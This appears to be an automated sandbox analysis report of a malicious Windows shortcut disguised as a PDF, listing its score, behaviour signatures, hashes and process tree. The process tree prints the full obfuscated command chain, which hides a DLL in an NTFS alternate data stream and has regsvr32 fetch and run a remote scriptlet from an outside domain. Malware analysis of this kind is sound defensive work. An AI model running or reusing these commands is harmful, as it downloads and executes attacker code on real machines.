Analysis

  • max time kernel
    149s
  • max time network
    124s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    09/04/2026, 05:58

General

  • Target
    254186535_PDF.lNk.lnk
  • Size 1KB
  • Sample260409-gpcsaaax2r
  • SHA256 d328933d97c084026ac13c6efea830feb5bfdc8ece251893a7e23b63d0c89d95
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NTFS ADS 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\254186535_PDF.lNk.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /IILJH:FYV1Y /IWXJ:WUBC /D/C "type scroBJ.dll > C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4 && for %J in (vr3) do for %M in (reg) do start %MS%J2 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4"
      2⤵
      • NTFS ADS
      • Suspicious use of WriteProcessMemory
      PID:4384
      • C:\Windows\SyStem32\regsvr32.exe
        regSvr32 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4
        3⤵
        • Loads dropped DLL
        PID:3132

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        pqN4.jpg:wHY4

        • Path C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4
        • Size 228KB
        • SHA256 4e093aec31e60dfba66c6b6530b848ffd7d081bf281ae64d5aeaf7d66f0521e9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3132-14-0x0000000003390000-0x000000000339C000-memory.dmp

        memory/3680-3-0x00000234E5110000-0x00000234E511C000-memory.dmp